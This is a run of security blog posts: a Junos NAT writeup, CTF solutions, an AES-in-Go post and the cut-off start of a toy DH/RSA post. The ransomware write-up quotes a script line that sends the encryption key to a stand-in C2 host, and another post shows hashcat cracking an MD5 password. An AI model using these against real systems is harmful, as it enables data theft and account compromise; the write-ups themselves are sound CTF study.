Junos Static + Source NAT for subnet conflicts

I recently implemented a new network setup for vendor-managed cloud-hosted VoIP, and the vendor’s on-prem subnet conflicted with an existing on-prem subnet. I didn’t find any existing articles for the exact solution I used, so I wanted to post a quick writeup.

The phones are on-prem, there’s a dedicated circuit from the VoIP provider, and there’s a CPE router on-prem. This router hands out DHCP addresses to phones in 172.16.1.0/24 and passes voice traffic through the dedicated circuit back to the provider’s infrastructure. We have a preexisting on-prem network using the same subnet. This isn’t an issue for the VoIP setup, since the VoIP subnet’s L3 is handled by the CPE while the existing subnet’s L3 is handled by our enterprise firewalls (SRX), but it means we can’t easily monitor the CPE or devices on the VoIP subnet from devices behind the main firewalls.

The setup I built is as follows:

  1. New interface on the SRXes in the VoIP subnet (at 172.16.1.253), and new routing-instance for this interface
  2. Static/discard route for a ‘synthetic’ translation subnet (10.10.123.0/24) in the VoIP routing-instance
  3. Static NAT traffic from the default RI from translation subnet 10.10.123.0/24 to the VoIP subnet 172.16.1.0/24
  4. Source NAT traffic from the main firewalls to the VoIP subnet through the firewall’s interface (172.16.1.253)
  5. Security policies permitting traffic to the VoIP subnet

Step-by-step with config:

1, 2: Interface/routing-instance setup

We have zero control over the CPE, so there’s no way to do a routed interface or anything like that. We need to put our firewall directly inside the VoIP subnet. We’ll pick an address that is (hopefully) outside of the DHCP scope on the CPE. We need to put the interface in a non-default routing-instance because of the root cause of this setup: the conflict with an existing subnet in the default RI. We’ll include a discard static route in the new RI so that we can leak that route to the main RI with a policy-statement

interfaces {
    reth0 {
        unit 123 {
            description "VoIP";
            vlan-id 123;
            family inet {
                address 172.16.1.253/24;
            }
        }
    }
}

routing-instances {
    voip {
        instance-type virtual-router;
        routing-options {
            static {
                route 10.10.123.0/24 discard;
            }
        }
        interface reth0.123;
    }
}

security {
    zones {
        security-zone voip {
            host-inbound-traffic {
                system-services {
                    ping;
                }
            }
            interfaces {
                reth0.123;
            }
        }
    }
}

3: Static NAT

Now we need to create translation between our translation subnet (10.10.123.0/24) to the VoIP subnet (172.16.1.0/24). We want the SRX to map all addresses in these subnets to each other 1:1:

  • 10.10.123.1 -> 172.16.1.1
  • 10.10.123.50 -> 172.16.1.50
  • 10.10.123.222 -> 172.16.1.222
  • etc

We do this with static NAT:

security {
    nat {
        static {
            rule-set voip-static-nat {
                from zone [ corporate-endpoints corporate-servers ];
                rule voip-static {
                    match {
                        destination-address 10.10.123.0/24;
                    }
                    then {
                        static-nat {
                            prefix {
                                172.16.1.0/24;
                                routing-instance voip;
                            }
                        }
                    }
                }
            }
        }
    }
}

4: Source NAT

We’re still not done, though – the CPE (which we can’t configure) has a single default route: all traffic to external subnets gets routed out the VoIP circuit. Right now traffic from our firewall will have its true source IP (e.g. 10.10.50.100), which the CPE will route out its WAN interface to be dropped by the VoIP network. We have no way to install routes on the CPE like we’d normally do.

To deal with this, we’ll source NAT all traffic through our SRX’s interface on the VoIP subnet (172.16.1.253) – this way the CPE and all devices on the VoIP subnet will be responding within the same subnet, even though the source of the traffic is any arbitrary network behind the SRX.

security {
    nat {
        source {
            rule-set voip-source-nat {
                from zone [ corporate-endpoints corporate-servers ];
                to zone voip;
                rule voip-source {
                    match {
                        source-address-name [ Net-Corp-Servers Net-Corp-IT ];
                        destination-address-name Net-VoIP;
                    }
                    then {
                        source-nat {
                            interface;
                        }
                    }
                }
            }
        }
    }
}

5: Route leak

Now we just need to get the route for the translation subnet (10.10.123.0/24) into the default routing-instance. Lots of ways to do this, in this case we use an instance-import policy-statement in the default RI:

routing-options {
    instance-import import-to-inet;
}

policy-options {
    policy-statement import-to-inet {
        term voip-translate {
            from {
                instance voip;
                protocol static;
                route-filter 10.10.123.0/24 exact;
            }
            then accept;
        }
        term reject {
            then reject;
        }
    }
}

6: Security policies

No need to re-explain SRX security policy syntax. The only major concept to note is that security policy is evaluated after static NAT [see diagram], so your policies will need to refer to the true destination address, which in this case is the real VoIP subnet of 172.16.1.0/24. The security policies do not reference the translation subnet.

Done – now we can put the CPE’s gateway address into our NMS, ping phones from network team laptops, etc.

Square CTF 2017: Ciphercel

Ciphercel - Crypto (100 points)
    ● Crypto inside Google Sheets ● An office mouse scurried through the ceilings of Evil Robot Corp and spotted an unlocked computer. She shared this Google Sheet with us before she had to flee. Can you decipher it? ● Solves: 52 ● Download: https://docs.google.com/spreadsheets/d/14Rnn9mAOEGvJSD3_VUR32edmGAT21AVhh8vTqHRADjs/edit#gid=0

I put off doing this one because reverse engineering Excel formulae sounded like a nightmare, but it ended up being totally fun. Also I’m pretty sure I solved it in an insane way – it sounds like the challenge creator(s?) intended this challenge to be solved by hand.

We’re presented with a Google Sheets document (reference copy here in case the official one disappears) containing four cells of note: key input and flag output, and a sample ciphertext and its decryption using the key input:

OK, so we’re meant to somehow figure out the correct key, which will give us both a correct decryption of the sample ciphertext and the level’s flag. Let’s have a look at what’s going on behind the scenes by undoing the white-on-white cell coloring for the guts of the cipher:

We’re working with 6 columns of data here (A through F), plus two special cells (D50 and E50). Most are cut off, but there’s a row for each character of ciphertext. Working through what’s happening in each column:

A is the (1-indexed) index of ciphertext characters.
B is each letter in the alphabet, non-repeating.
C is =FIND(B51,D50): the index (1-indexed) of the current row’s cell in column B within the previous row’s cell in column D.
D is =CONCAT(LEFT(D50,C51), SUBSTITUTE(MID(D50,C51+1, LEN(D50)), B51, "")): a mildly annoying to parse formula that forms the state generation function of the key derivation algorithm.
E and F are, respectively, the ciphertext and plaintext split into individuals chars.
F’s formula is the actual encryption algorithm: =IFERROR(MID($E$50, FIND(E51, $E$50)+20, 1), E51)

D50’s formula is =CONCAT(LEFT(REGEXREPLACE(LOWER(B4), "[^a-z]", ""), 10), "abcdefghijklmnopqrstuvwxyz"): The input key (cell B4), with all alpha chars made lowercase and all non-alpha characters removed, cut to the 10 left-most characters, then with the entire alphabet concatenated.

E50’s formula is D76 (the final state of key derivation) concatenated with itself (duplicated). E50 is the actual key used in encryption.

Here’s what I wrote about the key derivation algorithm (D) during the RE process:

to update the state, we need to generate d_left and d_right.
d_left is the first c chars of the current state
d_right is the remainder of the chars (position c to the end)
with all occurrences of b deleted.

we update the state with the concatenation of d_left and d_right

And here’s what I wrote about the encryption algorithm:

to encrypt, we operate char by char.
we first get the index of the first occurrence of the plaintext char
in the master key, add 20 to that index, and call it findval.
the encrypted char is the findvalth character of e50

That’s all pretty stream-of-consciousness from the midst of flow, so it might be easier to look at the Python in my solution, or to just stare at the Excel formulae yourself.

Using that understanding of key derivation and encryption, I implemented both in Python so I could write a script to search the keyspace for me. The search would involve checking whether a given key decrypts the ciphertext successfully. It was easy to figure out the target plaintext: passing the ciphertext through quipqiup (mostly) solves it – it’s the first sentence of the Recursive Set Wikipedia article.

ta kzxwgpdjtctpf prozif, d nop zs adpgidc agxjoin tn kdccom iokgintho, kzxwgpdjco zi moktmdjco ts proio tn da dcyzitprx ertkr poixtadpon dspoi d statpo dxzgap zs ptxo (ertkr xdf mowoam za pro ythoa agxjoi) dam kziiokpcf moktmon eroproi d ythoa agxjoi joczayn pz pro nop.
In computability theory, a set of natural numbers is called recursive, computable or decidable if there is an algorithm which terminates after a finite amount of time (which may depend on the given number) and correctly decides whether a given number belongs to the set.

Since it seems that the key/message space isn’t 1:1 (that is, a given decrypt can be achieved with multiple different keys), I thought I’d first try a bit of exhaustive search. The key is truncated to 10 chars max, and 2610 is a bit too big (roughly 248) for a full exhaustive search, but I looped through one through four chars in an hour or so with no luck. At this point I was pretty sure that some manual differential cryptanalysis is the intended solution, but I didn’t have any great ideas about how to go about this, and just messing around by hand wasn’t getting me very far. I think the best I could do was getting “in co” as the first four chars of plaintext before I gave up on that approach.

Since this cipher has very poor avalanche properties, and we have a known-plaintext/ciphertext pair, we can still bruteforce without a full exhaustive search of the keyspace. All we have to do is try all 26 values in each key position sequentially, scoring each trial decrypt, and keeping the highest-scoring (closest to the correct decryption) value. I implemented this, but this search method would immediately get stuck on a decently-scoring (~60% correct) key. I puzzled through how to get around this before deciding on trying something probably technically very stupid. I remembered watching a talk at some point about Quantum Annealing, a QC concept that involves using quantum effects to ‘break through’ local minima in the process of finding a solution. What I ended up doing:
● Loop through the char-by-char scored search method described above
● Keep track of the last 2 attempts’ scores
● If the scores are the same, randomly select one key char and change it to a random character
● Keep looping until we get a perfect score of 270 matching chars

I added some rudimentary progress-bar style score visualizing. Here’s what it looks like!

Here’s my code.

I don’t really get most of this stuff but from some Wikipedia skimming it seems like Simulated Annealing is closer to what I’m actually doing. Anyway, I parallelized this by running the script on as many cores as I had quick access to, and found the key (and flag) within about 15 minutes. Using PyPy gave me a speedup of roughly 3x, by the way, with no additional effort required!

I feel a little guilty for solving this in a ridiculous way, but I mostly just had a lot of fun. I definitely didn’t expect my method to work so I was very excited when it did.

flag-npghqlawyr

Square CTF 2017: Sniffed Off the Wire

Sniffed Off the Wire - Forensics (100 points)
    ● Sifting through the noise ● After weeks of perching, our avian operatives captured a suspicious network flow. Maybe there's valuable data inside? ● Solves: 58 ● Download: https://cdn.squarectf.com/challenges/sniffed-off-the-wire.pcap

I like pcap challenges, so I think this was the first one I tried during this CTF after the requisite and quick classical crypto challenges. We’re given a .pcap that (refreshingly) only contains a very simple one-way stream of packets (and their ACKs):

The ports don’t really mean anything to me, so let’s look at the payloads. Each payload is 7-9 bytes. We can decode the hex manually, but it’s much easier to use Wireshark’s “follow TCP stream” tool:

OK, that’s useful. I happen to recognize these as looking like terminal escape codes, followed by individual characters. I thought that maybe if we only look at the individual characters we’ll get something useful, but it’s not valid base64. My next try happened to work – a one-liner to cut out the payloads and pass them to xxd to unhexlify:

tshark -T fields -e data -r sniffed-off-the-wire.pcap | xxd -r -p

Here’s how it looks:

I actually ended up using asciinema just so that I could pause to copy the flag: flag-IGxKMshp46TgD3

Very cool challenge!

Writing AES primitives in Go

I found myself with some spare time last week, and decided to entertain myself by implementing AES in Go from scratch. I’ve played with Go a little before, specifically because I wanted a way to programmatically output the n th prime number (where nthprime(1) returns 2, nthprime(2) returns 3, etc)) and Python’s way too slow for crunching of that magnitude. It works well, though it’s fairly apparent that it’s the first thing I wrote in Go and there’s some serious StackExchange copy/pasting going on.

A brief interlude on Go vs. Python performance – while building nthprime.go (above), I ported the core operation (a Sieve of Eratosthenes) basically line-for-line to Python so that I could compare performance between the two languages. Here’s the sieve in Go, and here it is in Python. This was purely out of curiosity – you can easily look up benchmarks comparing any two programming languages, but it’s way more interesting to do it with your own code on your own machine.

For my code, Go is about 40x faster than Python:

Getting back to the subject, cryptography is a favorite subject of mine, and while I feel pretty comfortable with classic public-key crypto and the high- and medium-level concepts of symmetric ciphers, I figured I could stand to learn about the low-level guts of the world’s most popular block cipher. I chose to implement in Go for two reasons: 1) more practice with Go, and 2) while I love Python, it’d feel a bit wrong to implement something so performance-sensitive in a (relatively) slow language.

I got what I wanted – I learned a ton about AES and the underlying math, and I feel much more comfortable with Go than I did a week ago.

Here’s the result.

It’s purely a toy implementation with hardcoded test cases – it would take slightly more work to have it operate on arbitrary data (files/args/stdin), but real-world utility was not the point of this exercise. I’m already quite comfortable with block cipher modes of operation; my primary cryptographic interest was looking inside the black box of “perform block encryption” in every mode of operation diagram. Additionally, while I have verified that the encrypt/decrypt results of my code match standard implementations of AES, for obvious reasons it’s not a great idea to slot homebrew implementations of crypto primitives into anything that matters. I do plan on eventually using my implementation instead of Cryptography.io in my Python solutions to the Matasano crypto challenges, though I’ll have to figure out the best way to call binaries from Python without too much of a performance hit. That’ll just be for fun, though.

Here are some of the most interesting things that I learned in the process:

Galois fields are really hard to grasp intuitively. I ended up using lookup tables rather than implementing Galois multiplication/exponentiation/inversion, which I initially felt bad about (I wanted to implement purely from the Wikipedia description, no pseudocode or ports for reference).

It turns out that pretty much every production implementation of AES uses lookup tables and doesn’t do the Galois field operations ‘live’. As I learned from this great blog post, there are multiple degrees to which lookup tables can be substituted for live finite field math: none (Galois field operations applied at nearly every stage), S-boxes only (two 256-byte tables), S-boxes and MixColumns (S-boxes plus six more 256-byte tables, two for forward and four for inverse Galois multiplication), and full lookup tables (S-boxes, plus large lookup tables for the entire round operations of SubBytes, MixColumns, and ShiftRows).

I spent some time trying to understand computation in Galois fields, but was eventually faced with three choices:
1) spend a significant amount of time learning and getting comfortable with the underlying math so I could implement from scratch
2) copy someone else’s code
3) skip the math and use pure lookup tables.

1 was a bit out-of-scope based on my initial goals, so I decided on a blend of 2 and 3. My implementation uses lookup tables for S-boxes and MixColumns. There are some reference/example implementations out there that use no lookup tables, and some other people doing exactly what I’m doing using the same approach, but as I mentioned it looks like most production implementations use hardcoded full lookup tables – the round operations of SubBytes -> MixColumns -> ShiftRows -> AddRoundKey are reduced to LookupTable -> AddRoundKey. For example, the builtin Golang implementation of AES uses full lookup tables. This leaves a smaller surface area for bugs, but mostly it’s just way faster than calling multiple-instruction functions for Galois multiplication on every single round. This is assuming the CPU running these instructions has at least 24kB of data cache, which is a safe assumption for any modern x86 CPUs.

After I finished the project, I had the mental energy and motivation to actually sit down and get comfortable with Galois fields. I did this using this lecture and this Wikipedia article. I’m struck by the blatant overlap between multiplication in extension fields and bitwise operations (specifically XOR) – weird stuff.

The rest of the implementation was mostly straightforward – lots of test cases and higher-order functions. I did run into a brutal snag at the end, though: once I had successfully implemented the entire algorithm (key expansion, SubBytes/ShiftRows/MixColumns/AddRoundKey, and encryption/decryption) and verified that it was reversible (dec(enc(plaintext)) == plaintext), I compared the output of my function to the NIST test vectors. My code was doing something wrong – even though I had compared each complex function (key expansion, SubBytes, MixColumns)’s output to test vectors successfully, the assembled block cipher wasn’t behaving as expected. I pored over the code and the Wikipedia articles on AES for a while with no luck, then decided to do some in-depth print debugging.

This was a bit tricky though, because (as I mentioned) most implementations of AES just use large lookup tables instead of separate functions. I eventually found a solid Python3 implementation, and adapted it to do very thorough print-debugging, round-by-round:

After getting that set up, the issue was immediately apparent: I had skipped Wikipedia’s introductory paragraphs of the cipher description, which includes this very important item:

I wasn’t ‘rotating’ the state and roundkeys from the (normal) row-major order into column-major order. Performing this ‘rotation’ on each round key and the input/output resolved the issue and resulted in code that does the exact same thing as every other properly working implementation of low-level AES.

All in all an extremely satisfying endeavor. I ended up reading along the way that more modern ciphers (e.g. ChaCha20) are vastly simpler than AES/Rijndael, so I may attempt one of those in the near future.

Security Fest 2017 CTF: qr code madness

Qr code madness - Misc (200 + 0)
    ● Random pictures, this do not make sense ● Solves: 80 ● Download: http://dl.ctf.rocks/qrcodemadness.7z ● Author: d3vnu11

In the archive is a folder containing 114 very small PNG files of QR codes:

I grabbed zbar from Homebrew to allow for scripted parsing of the QR codes. Each QR code encodes a single ASCII character:

[tkerr@pro qrcodemadness]$ zbarimg --raw --quiet * | tr -d '\n'
cfnQ7cdMRUCtu6gfFzNFwfMHb0mBN9VRev=k5jXD9a2UXFPbMSxyA=Ai9ukDp9WxzrsZ1wNTo1aKXE3YGMthn1JgIdSULlMNmDGBqz104+HwdCazXU

OK, looks like base64 (even distribution of lower/uppercase, some numbers, and a few +s and =s), but it’s clearly out of order – the padding chars (==) are mixed in rather than trailing as they should be. Let’s try sorting numerically instead of alphabetically:

[tkerr@pro qrcodemadness]$ ls -1 | sort -n | xargs zbarimg --raw --quiet | tr -d '\n'
n9JwXFbBVRev=k5jXD9a2UXFPbMSxyA=Ai9ukDp9WxzrsZ1wNTo1aKXE3YGMth1gIdSULlMNmDGBqz104+HdCazUcfnQ7cdMRUCtu6gfFzNwfMH0mN

Nope. Well, we’re not going to get anywhere by trying random permutations…how else could the files be arranged? Let’s try modification date:

[tkerr@pro qrcodemadness]$ ls -1tr | xargs zbarimg --raw --quiet | tr -d '\n'
aC+40zqGmlLSdIJ1hY3EKoTwsrxWpkiAybPXU9Dj5veRVBHfFg6utM7QncU0NURntUaDNzM19kNG1uX1FSX2MwZDNfazMzcF9wMHAxbmdfdXB9Cg==

OK, looking good. Let’s try decoding:

[tkerr@pro qrcodemadness]$ ls -1tr | xargs zbarimg --raw --quiet | tr -d '\n' | base64 -D
Invalid character in input stream.

Hmm, so it’s the right character set, but the padding’s broken. Removing one = from the end allows decoding, but outputs total garbage. Let’s try just grabbing a chunk from the end and seeing where things start to go wrong:

[tkerr@pro qrcodemadness]$ echo "ZDNfazMzcF9wMHAxbmdfdXB9Cg==" | base64 -D
d3_k33p_p0p1ng_up}

OK, that’s clearly the end of a flag, so it looks like we just need to start at a specific point midstream. I quickly check what the flag format (SCTF) looks like in base64 (U0NUR), and sure enough that’s present midway through the stream.

Here’s the final one-liner:

[tkerr@pro qrcodemadness]$ ls -1tr | tail -n 56 | xargs zbarimg --raw --quiet | tr -d '\n' | base64 -D
SCTF{Th3s3_d4mn_QR_c0d3_k33p_p0p1ng_up}

Security Fest 2017 CTF: ranshomware

Ranshomware - Crypto (100 + 0)
    ● We found an sh ransomware on a server. Can you help us recover the server's data? ● Solves: 12 ● Download: http://dl.ctf.rocks/ranshomware.zip ● Author: SecureLink / klondike

ranshomware.zip contains, as promised, ransomware in shell script form along with a directory that’s been hit:

./cd
./cd/debian-40r9-amd64-businesscard.iso
./cd/encrypted.txt
./encrypted.txt
./flags
./flags/encrypted.txt
./flags/flag.txt

All copies of encrypted.txt are identical:

All your files have been encrypted, pay us a lot of money 
to our accountand we'll give them back to you. Say 
ce259843fcdf919e9465722f9fa2053e89877c1fddb06582f197b4979df6e9bb28b4bf09d3d9dbadb77e8ab6db8e452ba47f9d81379c93107356640c39695b5 
so we can give you the right key

The Debian iso and flag.txt both contain uniform noise, evidently successfully encrypted.

The Script

Let’s step through the shell script:

key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"

First, key is defined by grabbing only the ascii chars that define hex bytes (0-9a-f) from /dev/urandom, splitting them into lines of 64 chars each, and grabbing the first line. This is a bit of a weird way to do it, but we’ll wind up with a 256-bit key in the form of a hex string. Bruteforcing the key is definitely out.

ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"

Next, ekey is just the SHA512 hash of key, with the leading character truncated (probably a bug related to not taking newlines into account during tail -c 128). Reversing the hash is also definitely out.

iv=0
wget "http://cac.example.com/?key=$key" -q -O /dev/null

iv is set to 0, and an (example) HTTP request theoretically delivers key to the command and control network.

The actual function is defined next: it takes one argument. If this is a directory, it writes ekey and some instructions into encrypted.txt, then calls itself recursively on the contents of the dir. iv is incremented on each execution of the function.

If the argument is a file, the real payload happens: the file is encrypted, the original is deleted, and the encrypted copy is moved into its place. The encryption itself deserves a close look:

openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" \
-K "$key" -in "$f" -out "$f.enc";

AES-CTR

So we’re using OpenSSL for encryption, with AES-256 in the CTR mode of operation. The IV is $iv, formatted as a 16-byte (32 character) hex string left-padded with zeroes. I was initially excited, hoping it was as straightforward of an implementation flaw as nonce reuse in counter mode, but it took a little more figuring than that.

Let’s look at how CTR mode works, courtesy of Wikipedia’s article on block cipher modes of operation:

Crypto basics: in CTR/Counter mode, instead of directly encrypting the plaintext using AES, we’re using AES to create a stream cipher. For each block, we encrypt nonce || counter with the secret key to give us a block of keystream that we XOR with a block of the plaintext to get a block of the ciphertext. The nonce is ideally random, and the counter ideally incremented each block starting at all zeroes. Wikipedia’s diagram is not necessarily how AES-CTR is always implemented, but from this we’d expect 8 bytes of nonce and 8 bytes of counter (both AES-128 and AES-256 have a block width of 16 bytes).

Since we’re essentially working with a stream cipher in regards to the plaintext/ciphertext relationship, any reuse of keystream is effectively a many-time pad. Since one of the two files we’re given encrypted versions of (debian-40r9-amd64-businesscard.iso) seems like it should have a publicly-accessible plaintext version, it looks like we might be able to mount a known-plaintext attack. Indeed, googling the filename gives us the VDL of a Debian mirror where we can find an identically-named and -sized file.

Whipping up a quick python script to XOR the known plaintext with the ciphertext to get the keystream and apply this keystream to the encrypted flag only outputs garbage – of course, because of the IV incrementing built into the ransomware. Looking at the CTR mode diagram and keeping in mind the properties of AES (specifically the Avalanche effect), if the keystream source material (nonce || counter) is unique for every block encrypted, then we don’t have any easy attacks.

Next Steps

I spent some time mulling over the apparent lack of blatant weaknesses, and modified the ransomware script to provide some print debugging, and ran it on a ‘virgin’ version of the provided directory (minus all copies of encrypted.txt or any other ransomware crust):

[tkerr@pro sf]$ ./testiv.sh
current value of $iv: 1
current value of $iv: 2
current value of $iv: 3
found file orig/cd/debian-40r9-amd64-businesscard.iso - encrypting with iv 0x00000000000000000000000000000003
found dir orig/cd
current value of $iv: 4
current value of $iv: 5
found file orig/flags/flag.txt - encrypting with iv 0x00000000000000000000000000000005
found dir orig/flags
found dir orig

This is helpful – for the theoretical initial run of the ransomware, the IVs were 3 and 5 for the ISO and flag respectively. In thinking/talking this through, I realize something critical – despite the encyclopedia definition of CTR mode being nonce || counter for a total of 16 bytes, we’re feeding OpenSSL a full 16 bytes using the -iv argument.

I had initially assumed that “IV” was an alias for “nonce” in this implementation, probably with some left-stripping, but a bit of testing reveals that we’re not actually defining the nonce here, we’re defining the entire IV – OpenSSL is assuming we’re providing the entirety of nonce || counter and incrementing the right half of the input automatically for each block.

This is key – this means that for all files encrypted, the nonce will be 0x0000000000000000 and the counter will start from some low index based on the order of the files in question. This means the keystream will be identical for all files, other than the keystream being offset by a number of blocks equivalent to the difference in $iv at the time of each file’s encryption. Since we’re able to derive a big chunk of keystream thanks to the Debian ISO KPA, and “coincidentally” the Debian ISO was encrypted first, we should be able to decrypt any subsequent bytes up to the size of the Debian ISO (~33MiB).

Solution

Once the critical implementation error (feeding OpenSSL full IVs rather than just nonces) was realized, adapting the earlier attempt at a many-time pad attack was trivial. Here’s the Python I used, and here’s the result:

[tkerr@pro ranshomwared]$ ./crack-ranshomware.py
Hi man, I'm glad you solved this challenge!

So the flag? SURE!

SCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}


Well, there is the flag, I hope you enjoy the rest of the challenges :)

tl;dr: Supplying OpenSSL a full 16-byte IV via the -iv argument doesn’t just set the nonce, it sets the entire nonce || counter input, and OpenSSL will automatically increment from the initial value. Since one of the provided pre-encrypted files has an easily-obtainable known plaintext, we can XOR the plaintext and ciphertext to get the AES-CTR keystream. Looking at the ransomware script helps us find the offset of the keystream that the flag was encrypted with. XORing the encrypted flag at the correct offset of the keystream gives us what we want.

Thanks to my wife for filling in as an incredibly overqualified rubber duck!

UIUCTF 2017: salted wounds

● 200 Points
● forensics
● By: Eric Hennenfent

There are some challenges I'd rather forget.

zmap.pdf

So to start, it’s a pdf, which could have any amount of craziness hidden inside it. A year or two ago, I watched a talk from an unknown infosec conference about how insane pdf is as a file format. I can’t find the talk, but it stuck with me. Anyway, we’re given what appears to be the USENIX paper on zmap. Downloading the original paper to compare, we can see that the original is 712246 bytes smaller than what we’ve been given – definitely something going on in there.

foremost is satisfied that it’s just a pdf, at least at first glance. Running binwalk -e to attempt extracting all visible files gives us 32 files of varying contents, and 32 zlib streams. Discarding the zlib streams, here’s what we have to work with:

[tkerr@pro _zmap.pdf.extracted]$ file *
10F72:  ASCII text, with very long lines
11B8F7: data
11CD6B: data
14210:  ASCII text, with very long lines
1D19D:  ASCII text, with very long lines
1E790:  ASCII text
21038:  ASCII text
2114A:  ASCII text, with very long lines
2244A:  ASCII text, with very long lines
252CD:  ASCII text, with very long lines
2B6F4:  ASCII text, with very long lines
30029:  data
3746:   ASCII text, with very long lines
409C8:  ASCII text, with very long lines
41E42:  ISO-8859 text, with very long lines, with no line terminators
42598:  ASCII text, with very long lines
43D53:  ASCII text, with very long lines, with no line terminators
454E5:  ASCII text, with very long lines
46AB0:  ASCII text, with very long lines
48227:  ASCII text, with very long lines
49714:  PostScript Type 1 font text (CMMI10 003.002)
4B316:  PostScript Type 1 font text (CMR10 003.002)
4CFCF:  PostScript Type 1 font text (CMSY10 003.002)
4EF8D:  PostScript Type 1 font text (MSBM10 003.002)
4F825:  PostScript Type 1 font program data
5062:   ASCII text, with very long lines
53EDE:  PostScript Type 1 font text (StandardSymL 001.005)
549FA:  PostScript Type 1 font text (NimbusRomNo9L-Medi 1.05)
5873D:  PostScript Type 1 font text (NimbusRomNo9L-Regu 1.05)
5D74E:  PostScript Type 1 font text (NimbusRomNo9L-ReguItal 1.05)
6212B:  ASCII text, with very long lines
EC5:    ASCII text, with very long lines

Some of these are straightforward (fonts), and most of the ASCII files are innocent-looking pdf payloads. I happened to start from the bottom of the list, and noticed that 6212B comprises one large block of base64. Decoding it gives us a .png:

The easy first steps of strings, foremost, binwalk, and stegsolve don’t immediately give me anything promising. I reverse image search it and find an imgur album by @SwiftOnSecurity that contains the original. The dimensions of both images are the same (1221×651), but the filesizes are different, so clearly something’s been done to the file. Using imagemagick’s compare, we can see that the entire image is identical except for the very first column, at the top left:

Very suspicious. My first glance in stegsolve only involved checking the LSB data of each color channel, row-wise. Setting stegsolve to extract LSBs from all channels column-wise gives us the flag:

UIUCTF 2017: eula

● 400 Points 
● crypto
● By: JP Smith

nc challenge.uiuc.tf 11345

throwback to when the aztecs sacked mitlan

eula.py

Taking a look at the provided python, it looks like we somehow need to forge a signature for the message ‘right below’. Luckily for me, some of the T&C helped me immediately recognize the specific vulnerability they’re going for. Specifically:

    “we must use the latest versions of all libraries”,
    “we must use 2048-bit keys with e = 3”, and
    “DATED: 2015-07-29”

tell me that the intended solution uses Bleichenbacher’s signature forgery on e=3 and PKCS#1 v1.5, which python-rsa was vulnerable to until early 2016. I was at 33c3 a few months ago where one of my crypto role models, Filippo Valsorda, gave a session on implementing this specific attack against python-rsa. I didn’t find out about the session until after it happened, but I did end up reading his excellent article on the attack, which includes an example implementation.

Using Filippo’s example, we just have to change the target message to ‘right below’ and we have a fully functional forgery generator. Using it is straightforward:

I have no idea what “aztecs sacked mitlan” refers to, though. A really obtuse hint towards ASN.1?

UIUCTF 2017: crackme?

This was a fun one – I was the only person to solve this during the CTF yesterday. Here’s how I did it:

    ● crackme? ● 300 Points ● misc ● By: Dillon Korman
I'm trying to crack this guy's password, but I haven't had any luck so far. I heard he likes that Overwatch game and thinks he's some cool hacker. Think you can help me out? Hash: 55370b6cd985e7132c4e789224066bde Note: does not follow the flag{} format Hint: automated password cracking tools are good Hint: https://twitter.com/abrekke83/status/842513875337695235

A teammate from DC416 made a run at this with some fairly comprehensive custom Overwatch-themed wordlists with no luck. I first tried the usual easy tricks: googling the hash, Gromweb, and an exhaustive search of all printable ASCII up to 7 chars (since it only takes ~30 seconds). No luck.

My next step was to grab a list of all of the playable Overwatch characters from here. Since a couple of the characters (Lúcio, Torbjörn) have non-latin characters, I also added latinized versions (Lucio, Torbjorn) to the list. I added alternate versions of a few other characters’ names to account for different stylings and capitalizations (Soldier: 76, D.Va, McCree), and then duplicated the entire list as lowercase via
tr '[:upper:]' '[:lower:]' < owchars.txt | uniq >> owchars.txt
This gave me this list.

Running that through hashcat gave me no hits, both on its own and using best64.rule (which permuted 59 candidates into 4543).

With that exhausted, I looked at the Twitter hint – it seemed pretty apparent that we’re intended to try adding some variation of ‘main’ to a character name. In the interest of being thorough, I wrote a quick python script to append variants of ‘main’ to each character name variant, using multiple different joining characters. That resulted in this 1593-line list.

Running that list through hashcat with best64.rule (122661 total candidates) gave no hits. I looked at the challenge again to make sure I was on the right track, and noticed “and thinks he’s some cool hacker” for the first time. That seems straightforward – do some leetspeak character substitution (l1k3 th!5). Luckily hashcat includes a very thorough leetspeak rule (1593 lines became 4892103 candidates), and passing owmains.txt through it gave us a successful crack.

[tyler@tower hashcat-3.5.0]$ ./hashcat64.exe -m 0 -a 0 -r rules/unix-ninja-leetspeak.rule 55370b6cd985e7132c4e789224066bde owmains.txt
hashcat (v3.5.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 1024/4096 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 3071

55370b6cd985e7132c4e789224066bde:r31nh@rdtm@1n

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 55370b6cd985e7132c4e789224066bde
Time.Started.....: Sat Apr 29 15:13:08 2017 (0 secs)
Time.Estimated...: Sat Apr 29 15:13:08 2017 (0 secs)
Guess.Base.......: File (owmains.txt)
Guess.Mod........: Rules (rules/unix-ninja-leetspeak.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   160.9 MH/s (0.27ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3297510/4892103 (67.40%)
Rejected.........: 0/3297510 (0.00%)
Restore.Point....: 0/1593 (0.00%)
Candidates.#1....: Genjimain -> z3ny@tt@~MAIN
HWMon.Dev.#1.....: Temp: 50c Fan:  0% Util: 99% Core:1404MHz Mem:3004MHz Bus:8

toy implementations of Diffie-Hellman and RSA

I love cryptography, and I especially love the math behind public-key crypto and its (relative) simplicity when distilled. However, I still find myself losing a firm mental grasp on the entirety of the cryptosystem if I haven’t thought about it in a while. Since I try to keep fresh with Python even though I don’t use it every day, I figured writing toy implementations of Diffie-Hellman and RSA in Python would be a good way to refresh both of those areas.

Here’s the sample output of a run of the DH demo:

generator g = 2
